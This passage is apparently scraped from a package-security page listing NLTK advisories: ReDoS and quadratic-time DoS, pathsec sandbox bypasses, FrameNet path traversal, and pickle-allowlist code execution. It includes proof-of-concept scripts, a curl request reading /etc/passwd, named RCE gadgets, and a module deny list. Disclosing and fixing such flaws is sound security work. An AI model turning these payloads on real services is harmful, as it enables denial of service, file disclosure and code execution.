results.append(perf_counter() - t)
print("KiB seconds growth")
for i, (kib, elapsed) in enumerate(zip(SIZES_KIB, results)):
ratio = "-" if i == 0 else f"{elapsed / results[i-1]:.2f}x"
print(f"{kib:5d} {elapsed:9.3f} {ratio}")
Runtime should increase by approximately fourfold for each doubling of input size, although absolute timings vary by hardware.
During verification, _VALID_XML_RE.match() was instrumented to record the size of each input. For a 256 KiB malformed file it was invoked 257 times on monotonically increasing buffers (1024, 2048, …, 262144 bytes), with the final call occurring after EOF. This confirms that every iteration rescans the accumulated fragment.
Impact
Applications that process attacker-controlled XML corpus files through an affected reader are vulnerable. The attacker needs only write access to a path the reader will open. No NLTK credentials or special privileges required. Offline tools reading only trusted local corpora are not at risk.
Affected versions: Verified in NLTK 3.9.4, 3.10.0, and the current develop branch. Historical inspection indicates the same loop structure has existed since the introduction of XMLCorpusView (2007), but only the listed versions were experimentally verified. No patch exists in any published release.
This issue results in CPU exhaustion and may allow denial of service in applications that process attacker-controlled XML corpus files.
Suggested Fix
Avoid rescanning the accumulated fragment from the beginning after each 1 KiB read. Incremental parsing, bounded fragment accumulation, or another streaming approach would eliminate the quadratic behavior while preserving existing semantics.
A regression test should verify that BNCCorpusReader.words() raises ValueError within a fixed timeout (e.g. 5 seconds) against a 2 MiB malformed input. The existing test_xmldocs_security.py covers only the prior ReDoS payloads and does not exercise this path.
Duplicate Advisory: Allowlisted pickle loaders still permit code execution in current source
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-x99w-6fgc-pmfw. This link is maintained to preserve external references.
Original Description
NLTK versions before 3.10.3 contain a remote code execution vulnerability in allowlisted pickle loaders that trust entire module namespaces instead of specific safe callables. Attackers can craft malicious pickle payloads invoking dangerous in-namespace functions like ReppTokenizer._execute and numpy.f2py.crackfortran.myeval through pickle REDUCE to execute arbitrary commands during model or tokenizer artifact loading.
NLTK: ReDoS in nltk.tgrep via unvalidated user-supplied regular expressions
- https://github.com/nltk/nltk/security/advisories/GHSA-w3v8-gmh9-3wv7
- https://nvd.nist.gov/vuln/detail/CVE-2026-80206
- https://github.com/nltk/nltk/commit/0072ea2fb8be22e038a36e887b7061bb6b9339d9
- https://github.com/nltk/nltk/releases/tag/v3.10.3
- https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3751.yaml
- https://www.vulncheck.com/advisories/nltk-3.10.2-regular-expression-denial-of-service-via-tgrep
- https://github.com/advisories/GHSA-w3v8-gmh9-3wv7
Summary
The NLTK tgrep module accepts user-supplied regular expressions and passes them to the Python re engine without a timeout or validation, enabling catastrophic backtracking (ReDoS). Applications that expose the tgrep API to external input are vulnerable to a single-request denial of service that blocks the Python process indefinitely.
Affected Code
nltk/tgrep.py — _tgrep_node_action() (around line 320)
When a tgrep pattern contains a /regex/ node, _tgrep_node_action compiles the embedded regex literal directly with no validation:
def _tgrep_node_action(_s, _l, tokens):
...
elif tokens[0].startswith("/"):
assert tokens[0].endswith("/")
node_lit = tokens[0][1:-1]
return (
lambda r: lambda n, m=None, l=None: r.search(
_tgrep_node_literal_value(n)
)
)(re.compile(node_lit)) # User regex compiled and executed with no timeout
The compiled regex is applied against every matching tree node label via r.search(...). A caller reaching this path via tgrep_positions() or tgrep_compile() controls node_lit entirely.
Proof of Concept
import nltk
from nltk.tgrep import tgrep_positions
# Root node label is 25 'a' characters.
# tgrep /regex/ branch calls re.compile("((a+)+)b").search("aaa...a")
# No 'b' is present — exponential backtracking occurs.
tree = nltk.Tree.fromstring("(" + "a" * 25 + " (NP (DT the)))")
tgrep_positions(r"/((a+)+)b/", [tree]) # Never returns
Working Poc
The following script uses increasing values of n (the number of repeated as in the tree root label) to measure the execution time of tgrep_positions with the catastrophic regex /((a+)+)b/. On standard CPython with NLTK 3.10.2, the runtime grows exponentially, confirming the ReDoS vulnerability. For n ≥ 35, the function will hang indefinitely.
import nltk
from nltk.tgrep import tgrep_positions
import time
def test_n(n):
tree = nltk.Tree.fromstring("(" + "a" * n + " (NP (DT the)))")
pattern = r"/((a+)+)b/"
start = time.perf_counter()
list(tgrep_positions(pattern, [tree]))
return time.perf_counter() - start
if __name__ == "__main__":
# Adjust the range if needed – these values complete quickly
n_values = [18, 20, 22, 24, 26, 28]
print(f"Testing n = {n_values}\n")
times = []
for n in n_values:
t = test_n(n)
times.append((n, t))
print(f"n={n:2d} done", flush=True)
print("\n--- Increase factors (per step in n) ---")
factors = []
for i in range(1, len(times)):
prev_n, prev_t = times[i-1]
curr_n, curr_t = times[i]
factor = curr_t / prev_t
factors.append((curr_n, factor))
print(f"n={curr_n:2d} : factor = {factor:.2f}x (vs n={prev_n})")
avg = sum(f for _, f in factors) / len(factors)
print(f"\nAverage factor: {avg:.2f}x")
print("\n✅ Confirmed: exponential growth (catastrophic backtracking).")
print(" Larger n (≥ 35) will hang indefinitely.")
When run, the output shows a clear exponential increase (factor > 3.0 per +2 in n), proving the vulnerability.
Impact
In environments like web APIs (Flask, FastAPI), Jupyter notebooks, or multi-tenant pipelines, an unauthenticated attacker can cause indefinite CPU saturation with a single crafted request, denying service to all other users of the process.
Remediation
This issue remains unfixed in versions <= 3.10.2. Maintainers are currently collaborating on a patch to wrap the regex execution in a timeout-guarded mechanism.
Credit
Tool: Kira by Offgrid Security
Duplicate Advisory: Corpus readers follow symlinks outside trusted roots despite pathsec enforcement
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-p4rw-rvv2-7xwr. This link is maintained to preserve external references.
Original Description
NLTK versions before 3.10.3 contain a path traversal vulnerability in corpus readers that reopen root-derived paths using built-in open() instead of nltk.pathsec.open(), allowing symlinks to escape trusted roots. Attackers who stage symlinked corpus files under a trusted data root can disclose outside-root content through normal corpus reader methods like channels(), domains(), and synonyms().
NLTK: Quadratic-time DoS in PorterStemmer via long runs of 'y'
- https://github.com/nltk/nltk/security/advisories/GHSA-ww6m-cw3f-q94g
- https://nvd.nist.gov/vuln/detail/CVE-2026-81722
- https://github.com/nltk/nltk/commit/7808692d451b962711005d954859bb83aabcf8fa
- https://github.com/nltk/nltk/releases/tag/v3.10.3
- https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3738.yaml
- https://www.vulncheck.com/advisories/nltk-porterstemmer-before-3.10.3-quadratic-time-dos
- https://github.com/advisories/GHSA-ww6m-cw3f-q94g
nltk.stem.PorterStemmer.stem() -- a ubiquitous public API applied to arbitrary, often untrusted, tokens -- runs in O(n^2) time on a token containing a long run of the letter 'y', letting a single ~20-50 KB token pin a CPU core (CWE-407).
Root cause
_is_consonant(word, i) was made iterative (commit for #3633, GHSA/CWE-674) to fix an earlier unbounded-recursion RecursionError on 'y'*10000. The iterative form walks backward over the whole run of 'y's on every call:
while i > 0 and word[i] == 'y':
negate = not negate
i -= 1
_measure() then calls _is_consonant(stem, i) once for every position i of the stem. For a run of n 'y's that is sum_{i} O(i) = O(n^2). The recursion fix therefore traded a CWE-674 RecursionError for a CWE-407 quadratic-time DoS.
Proof of concept
Measured (Python 3.13): stem('y'*5000 + 'ness') = 2.6s, stem('y'*10000 + 'ness') = 11.3s (2x input -> ~4.3x time = quadratic), stem('y'*20000 + 'ness') > 20s. A pure run of 'y' with no matching suffix is fast because the stemmer rules that call _measure do not fire; a real suffix such as 'ness' triggers _measure on the long stem.
from nltk.stem import PorterStemmer
PorterStemmer().stem('y' * 20000 + 'ness') # >20s of CPU
Impact
Stemming is routinely applied to untrusted text (search, indexing, NLP pipelines). A single unbroken ~20-50 KB token of 'y' characters (no whitespace, so it survives tokenization) causes multi-second-to-minutes CPU consumption per request. No confidentiality/integrity impact; single-process availability only.
Fix direction
Classify each character's consonant/vowel status in a single left-to-right O(n) pass (memoise the 'y' run parity) instead of re-walking the run on every _is_consonant call, so _measure and stemming are linear. This is a sibling of the corpus-reader quadratic advisories GHSA-vp2x-qp44-57v7 and GHSA-8mpw-7fpc-4gqj (CWE-407).
NLTK: StreamBackedCorpusView Bypasses pathsec.ENFORCE - Arbitrary Local File Read
- https://github.com/nltk/nltk/security/advisories/GHSA-x5ph-mj9p-rfr8
- https://nvd.nist.gov/vuln/detail/CVE-2026-63312
- https://github.com/nltk/nltk/pull/3588
- https://github.com/nltk/nltk/commit/674ea75accdf08eca3782dee0a9c4ed7e0d0025b
- https://github.com/nltk/nltk/releases/tag/v3.10.0
- https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3730.yaml
- https://www.vulncheck.com/advisories/nltk-streambackedcorpusview-bypasses-pathsec-enforce-arbitrary-file-read
- https://github.com/advisories/GHSA-x5ph-mj9p-rfr8
Summary
Setting nltk.pathsec.ENFORCE = True is documented to sandbox all file access to allowed NLTK data directories and raise PermissionError on unauthorized access. However, StreamBackedCorpusView opens files via builtins.open() directly, bypassing pathsec.validate_path() entirely. An attacker who can influence the fileid argument can read arbitrary local files regardless of the ENFORCE setting.
Details
nltk/pathsec.py:274 defines the enforcement point: python def open(file, mode="r", **kwargs): validate_path(file, context="pathsec.open") return builtins.open(file, mode=mode, **kwargs)
StreamBackedCorpusView._open() in nltk/corpus/reader/util.py bypasses this entirely for string paths:
# line 171 — no validate_path() call
self._eofpos = os.stat(self._fileid).st_size
# line 208 — calls builtins.open directly
self._stream = open(self._fileid, "rb")
Also affected: XMLCorpusView and any corpus reader subclass that passes a raw string fileid to StreamBackedCorpusView.
PoC
# poc_server.py — StreamBackedCorpusView pathsec.ENFORCE bypass
from flask import Flask, request, jsonify
import nltk.pathsec as ps
from nltk.corpus.reader.util import StreamBackedCorpusView, read_line_block
# Strict mode enabled — expected to sandbox all file access
ps.ENFORCE = True
app = Flask(__name__)
@app.post("/read")
def read_file():
fname = request.json.get("file")
# fileid is user-controlled, passed directly to StreamBackedCorpusView
# pathsec.ENFORCE = True is ignored — builtins.open() called internally
view = StreamBackedCorpusView(fname, read_line_block, encoding="utf8")
return jsonify({"file": fname, "content": view[0]})
app.run(host="0.0.0.0", port=8000)
Trigger: curl -s -X POST http://localhost:8000/read \ -H "Content-Type: application/json" \ -d '{"file": "/etc/passwd"}' Confirmed on latest stable NLTK. No privileges required.
Impact
- Type: Arbitrary Local File Read / Security Control Bypass
- CWE: CWE-22, CWE-284
- OWASP: A01:2021 – Broken Access Control
Affects web apps, REST APIs, and multi-tenant NLP pipelines where user input influences the fileid passed to NLTK corpus readers. Sensitive targets include /etc/passwd, /proc/self/environ (may contain AWS_SECRET_ACCESS_KEY, DATABASE_URL, etc.), and application config files.
The core issue is that operators who explicitly set ENFORCE = True to harden production deployments are left with a false security guarantee.
Suggested fix: Replace builtins.open() and os.stat() in the string-path branch with nltk.pathsec.open() and nltk.pathsec.validate_path().
NLTK: Allowlisted pickle loaders still permit code execution in current source
- https://github.com/nltk/nltk/security/advisories/GHSA-x99w-6fgc-pmfw
- https://nvd.nist.gov/vuln/detail/CVE-2026-79657
- https://github.com/nltk/nltk/commit/c3e37113742a1ebeeb4f2ca58941f320f98805ea
- https://github.com/nltk/nltk/releases/tag/v3.10.3
- https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3735.yaml
- https://www.vulncheck.com/advisories/nltk-before-3.10.3-remote-code-execution-via-unsafe-pickle-deserialization
- https://github.com/advisories/GHSA-x99w-6fgc-pmfw
Summary
The current source tree still allows arbitrary code execution during supposedly safer allowlisted pickle loading. The allowlist trusts whole module namespaces instead of exact safe globals, so crafted pickles can invoke dangerous in-namespace callables through pickle REDUCE.
Details
- Vulnerability type: Remote code execution via unsafe deserialization
- Affected component:
nltk.picklesec.allowlisted_pickle_load,nltk.tokenize.punkt.punkt_pickle_load,nltk.parse.transitionparser.TransitionParser.parse - Affected versions: Current source
v3.10.0-rc2; published3.9.4was not the claim target for this bypass. - Patched versions: Not yet patched
- Root cause: Module-prefix allowlists include dangerous callables such as
nltk.tokenize.repp.ReppTokenizer._executeandnumpy.f2py.crackfortran.myeval.
punkt_pickle_load() allowlists both nltk.tokenize.punkt and the whole nltk.tokenize namespace, which exposes ReppTokenizer._execute() and its subprocess.Popen(...) sink during unpickling. TransitionParser.parse() uses allowlisted_pickle_load(..., allowed_modules=("numpy", "scipy", "sklearn")), which permits numpy.f2py.crackfortran.myeval() and its attacker-controlled eval(...) path. I confirmed both gadgets create marker files before the caller returns or later aborts on type misuse.
PoC
Preconditions - The application loads an attacker-controlled tokenizer or model artifact through these public loaders.
Steps 1. Create a pickle whose REDUCE callable is ReppTokenizer._execute and point its command to a harmless marker-file write. 2. Pass that payload to punkt_pickle_load(BytesIO(payload)) and observe the marker file is created during unpickling. 3. Create a second pickle whose REDUCE callable is numpy.f2py.crackfortran.myeval and load it through TransitionParser.parse(). 4. Observe the second marker file is created before TransitionParser.parse() later fails on the returned object type.
Minimal reproducible excerpt
{'punkt_marker': 'PUNKT_RCE', 'transitionparser_marker': 'TP_RCE'}
Impact
Any caller that trusts these current allowlisted loaders can still execute attacker-controlled commands while loading model or tokenizer artifacts. This defeats the protection mechanism that replaced unrestricted pickle loading and creates a dangerous false sense of safety.
Remediation
Replace broad module-prefix allowlists with exact (module, qualname) pairs for the few safe classes or functions genuinely required. Do not allow entire namespaces such as nltk.tokenize or numpy, and keep post-load type validation only as a secondary defense.
Resources
- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/tokenize/punkt.py#L120-L134
- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/tokenize/repp.py#L111-L115
- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/parse/transitionparser.py#L26-L30
- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/parse/transitionparser.py#L565-L571
Fix + attack demonstration (verified)
- tightened callers
find_classnow, before the allowlists:- Rejects any dotted
name→ closes 4489 with zero legit impact. - Denies dangerous modules (
os,subprocess,sys,builtins,numpy.f2py,nltk.tokenize.repp, …) even under a broadallowed_modules— a defense-in-depth backstop so a future too-broad allowlist can't silently reopen RCE. builtinsdenied wholesale; safe primitives (int,str, …) must be named exactly viaallowed_globals.
- Rejects any dotted
Callers tightened: punkt drops the broad nltk.tokenize (keeps nltk.tokenize.punkt + exact collections.defaultdict/builtins.int); transitionparser keeps numpy/scipy/sklearn (array unpickling needs their submodules) with the new guards blocking the gadgets.
Full pickle-sink audit
Every deserialization sink in the tree was reviewed: no raw pickle.load anywhere, and no joblib/numpy/torch/dill/yaml/marshal loaders. data.load + wordnet_app use RestrictedUnpickler (blocks all globals — safe); the remaining pickle_load sites (chartparser_app, tbl/demo) load user-selected or self-written files and keep their warning.
Attack demonstration (captured; fork clone)
=== EXPLOITS blocked ===
4489 sklearn.os.system (dotted) -> BLOCKED
x99w numpy.f2py.crackfortran.myeval -> BLOCKED
x99w nltk.tokenize.repp._execute -> BLOCKED
backstop os.system (os allowlisted) -> BLOCKED
backstop builtins.eval (exact global)-> BLOCKED
=== LEGIT loads still work ===
punkt round-trip via punkt_pickle_load -> OK
builtins.int (safe primitive) -> OK
Tests
test_pickle_allowlist_security.py — added 5 regressions (dotted traversal, both namespace gadgets, denied-module backstop, legit round-trip). Suite: 122 passed / 9 skipped (sklearn-dependent) across pickle/punkt/transition/tokenize. pre-commit (black/isort/ruff) clean.
Natural Language Toolkit (NLTK) has path traversal in FramenetCorpusReader.frame() that allows arbitrary XML file read, bypassing the nltk.pathsec sandbox (ENFORCE=True)
Summary
FramenetCorpusReader.frame(name) interpolates a caller-supplied frame name into an XML file path that is read with the builtin open(), bypassing CorpusReader.open() and the nltk.pathsec sandbox — including strict ENFORCE=True mode. A ../ sequence in the name escapes the corpus root, yielding an arbitrary XML file read whose parsed content is returned to the caller.
Details
frame_by_name builds the path by joining the corpus root, the frame directory, and the caller-supplied name with a fixed .xml extension, with no containment check, then constructs an XMLCorpusView from that string path. Because the view is built from a string rather than a PathPointer, it reads with the builtin open(), so nltk.pathsec.validate_path() is never invoked and ENFORCE=True does not block the access. This is the same path-traversal class previously hardened for the generic corpus readers; frame_by_name never goes through CorpusReader.open(), so that protection does not apply.
The same string-path-into-XMLCorpusView pattern exists in two sibling methods that take a name from corpus data rather than the immediate caller: - doc() — uses the index entry filename field - the lexical-unit file loader — uses the lexUnit ID attribute
These are reachable through a malicious or attacker-modified FrameNet corpus index.
PoC
"""
import os
import sys
import tempfile
import warnings
from pathlib import Path
warnings.filterwarnings("ignore")
# --- Turn the documented strict sandbox ON, before importing the reader. ---
import nltk.pathsec as ps
ps.ENFORCE = True
import nltk
from nltk.corpus.reader.framenet import FramenetCorpusReader, FramenetError
FRAME_XML = (
'<?xml version="1.0" encoding="UTF-8"?>\n'
'<frame xmlns="http://framenet.icsi.berkeley.edu" ID="1337" name="pwned">\n'
"<definition>SECRET-OUT-OF-ROOT-CONTENT</definition>\n"
"</frame>\n"
)
BANNER = """\
===========================================================
NLTK FramenetCorpusReader.frame() Path Traversal PoC
nltk {ver} | nltk.pathsec.ENFORCE = {enforce}
===========================================================""".format(
ver=nltk.__version__, enforce=ps.ENFORCE
)
def build_corpus():
"""Minimal valid FrameNet corpus + a frame-shaped secret OUTSIDE its root."""
base = Path(tempfile.mkdtemp(prefix="fn_poc_"))
root = base / "corpora" / "framenet"
for d in ("frame", "fulltext", "lu"):
(root / d).mkdir(parents=True)
(root / "frameIndex.xml").write_text(
'<?xml version="1.0"?><frameIndex></frameIndex>'
)
(root / "frRelation.xml").write_text(
'<?xml version="1.0"?><frameRelations></frameRelations>'
)
# A frame-shaped XML file OUTSIDE the corpus root (the "sensitive" target).
secret = base / "private"
secret.mkdir()
(secret / "secret.xml").write_text(FRAME_XML)
return base, root, secret / "secret.xml"
def main():
print(BANNER)
base, root, secret_path = build_corpus()
print(f"[*] corpus root : {root}")
print(f"[*] secret file : {secret_path} (OUTSIDE the root)\n")
fn = FramenetCorpusReader(str(root), [])
# Attacker-controlled frame name climbs out of <root>/frame/ up to <base>/private/secret.xml
evil = os.path.join("..", "..", "..", "private", "secret")
print(f"[*] calling fn.frame({evil!r})")
try:
f = fn.frame(evil)
definition = f["definition"]
if "SECRET-OUT-OF-ROOT-CONTENT" in definition:
print("\n [VULN] out-of-root file was read and returned to caller")
print(f" frame name : {evil}")
print(f" frame ID : {f['ID']} name: {f['name']}")
print(f" definition : {definition}")
print(f"\n -> nltk.pathsec sandbox bypassed despite ENFORCE = {ps.ENFORCE}")
verdict = "VULNERABLE"
else:
print(f"\n [?] frame() returned but content unexpected: {definition!r}")
verdict = "INCONCLUSIVE"
except FramenetError as e:
# Patched build (#3581): _reject_unsafe_path_component raises before open().
print(f"\n [SAFE] FramenetError: {e}")
print(" traversal rejected before any file was opened (patched)")
verdict = "NOT VULNERABLE"
except Exception as e:
print(f"\n [SAFE] {type(e).__name__}: {e}")
verdict = "NOT VULNERABLE"
# Control: a plain absent name must fail as 'Unknown frame', NOT as a read.
print("\n[CONTROL] benign absent name should be 'Unknown frame':")
try:
fn.frame("Definitely_Not_A_Frame")
print(" [?] unexpectedly succeeded")
except Exception as e:
print(f" ok -> {type(e).__name__}: {e}")
print("\n" + "=" * 59)
print(f" Result: {verdict} (ENFORCE = {ps.ENFORCE})")
print("=" * 59)
if __name__ == "__main__":
main()
Impact
- Out-of-sandbox arbitrary XML read. Any application that routes attacker-influenced input into
frame()can be made to read XML files from directories outside the intended corpus root and have their parsed content returned.frame()is a primary public API designed to accept a caller-specified frame name, so this is a natural exposure for any service exposing FrameNet lookups to user input. - Broad read primitive. Only a fixed
.xmlextension is appended; the attacker controls both directory and basename, givingread any XML file the process can read.
Full content disclosure requires frame-shaped XML; other files yield a distinguishable parse error that acts as a file-existence/readability oracle for arbitrary paths. - Silent bypass of an advertised boundary. NLTK's
SECURITY.mdpresents thenltk.pathsecsandbox andENFORCE=Trueas a hard boundary for web apps, multi-tenant pipelines, and CI/CD. Becauseframe_by_namebuilds the path itself and reads through a string-pathXMLCorpusView, the containment guard is never called andENFORCE=Truedoes not block the read — silently, with no error or warning. - Crafted-corpus reach. Via
doc()and the lexical-unit loader, a malicious FrameNet data directory drives the same traversal with no caller-supplied name. - Sensitive targets. Depending on deployment, readable out-of-root XML can include application configuration, data exports, and on-disk credentials stored as XML; the oracle behavior also allows filesystem mapping. Where
frame()output is reflected to the requester, disclosure is direct and non-blind.
70 Other Versions
| Version | License | Security | Released | |
|---|---|---|---|---|
| 3.10.3 | Apache-2.0 | 2 | ||
| 3.10.2 | Apache-2.0 | 31 | ||
| 3.10.1 | Apache-2.0 | 35 | ||
| 3.10.0 | Apache-2.0 | 36 | ||
| 3.9.4 | Apache-2.0 | 50 | ||
| 3.9.3 | Apache-2.0 | 57 | ||
| 3.9.2 | Apache-2.0 | 65 | ||
| 3.9.1 | Apache-2.0 | 65 | 1970-01-01 - 00:00 | over 56 years |
| 3.9 | Apache-2.0 | 65 | 1970-01-01 - 00:00 | over 56 years |
| 3.8.2 | Apache-2.0 | 66 | 1970-01-01 - 00:00 | over 56 years |
| 3.8.1 | Apache-2.0 | 66 | 1970-01-01 - 00:00 | over 56 years |
| 3.8 | Apache-2.0 | 66 | 1970-01-01 - 00:00 | over 56 years |
| 3.7 | Apache-2.0 | 66 | 2022-02-09 - 12:40 | over 4 years |
| 3.6.7 | Apache-2.0 | 66 | 2021-12-28 - 23:28 | over 4 years |
| 3.6.6 | Apache-2.0 | 66 | 2021-12-21 - 02:16 | over 4 years |
| 3.6.5 | Apache-2.0 | 68 | 2021-10-11 - 03:49 | almost 5 years |
| 3.6.4 | Apache-2.0 | 68 | 2021-10-01 - 01:58 | almost 5 years |
| 3.6.3 | Apache-2.0 | 69 | 2021-09-20 - 06:00 | almost 5 years |
| 3.6.2 | Apache-2.0 | 69 | 2021-04-20 - 07:42 | over 5 years |
| 3.6.1 | Apache-2.0 | 69 | 2021-04-07 - 21:36 | over 5 years |
| 3.6 | Apache-2.0 | 69 | 2021-04-07 - 10:49 | over 5 years |
| 3.5 | Apache-2.0 | 69 | 2020-04-12 - 23:46 | over 6 years |
| 3.4.5 | Apache-2.0 | 69 | 2019-08-20 - 10:55 | about 7 years |
| 3.4.4 | Apache-2.0 | 70 | 2019-07-04 - 11:09 | about 7 years |
| 3.4.3 | Apache-2.0 | 70 | 2019-06-06 - 17:52 | over 7 years |
| 3.4.2 | Apache-2.0 | 70 | 2019-06-06 - 04:02 | over 7 years |
| 3.4.1 | Apache-2.0 | 70 | 2019-04-17 - 10:48 | over 7 years |
| 3.4 | Apache-2.0 | 70 | 2018-11-17 - 08:04 | almost 8 years |
| 3.3 | Apache-2.0 | 70 | 2018-05-06 - 02:27 | over 8 years |
| 3.2.5 | Apache-2.0 | 70 | 2017-09-24 - 11:36 | almost 9 years |
| 3.2.4 | Apache-2.0 | 70 | 2017-05-20 - 22:49 | over 9 years |
| 3.2.3 | Apache-2.0 | 70 | 2017-05-17 - 20:59 | over 9 years |
| 3.2.2 | Apache-2.0 | 70 | 2016-12-31 - 21:47 | over 9 years |
| 3.2.1 | Apache-2.0 | 70 | 2016-04-09 - 10:06 | over 10 years |
| 3.2 | Apache-2.0 | 70 | 2016-03-03 - 01:12 | over 10 years |
| 3.1 | Apache-2.0 | 70 | 2015-10-15 - 19:51 | almost 11 years |
| 3.0.5 | Apache-2.0 | 70 | 2015-09-06 - 02:51 | about 11 years |
| 3.0.4 | Apache-2.0 | 70 | 2015-07-13 - 01:39 | about 11 years |
| 3.0.3 | Apache-2.0 | 70 | 2015-06-11 - 10:59 | over 11 years |
| 3.0.2 | Apache-2.0 | 70 | 2015-03-13 - 03:43 | over 11 years |
| 3.0.1 | Apache-2.0 | 70 | 2015-01-12 - 23:11 | over 11 years |
| 3.0.0 | Apache-2.0 | 70 | 2015-01-12 - 00:24 | over 11 years |
| 3.0.0b2 | Apache-2.0 | 70 | 2014-08-26 - 00:56 | about 12 years |
| 3.0.0b1 | Apache-2.0 | 70 | 2014-07-11 - 13:32 | about 12 years |
| 2.0.5 | Apache-2.0 | 70 | 2015-01-12 - 22:55 | over 11 years |
| 2.0.4 | Apache-2.0 | 70 | 2015-01-12 - 22:58 | over 11 years |
| 2.0.3 | Apache-2.0 | 70 | 2012-09-24 - 09:34 | almost 14 years |
| 2.0.2 | Apache-2.0 | 70 | 2012-07-05 - 12:08 | about 14 years |
| 2.0.1 | Apache-2.0 | 70 | 2012-05-15 - 04:29 | over 14 years |
| 2.0.1rc4 | Apache-2.0 | 70 | 2012-02-10 - 00:01 | over 14 years |
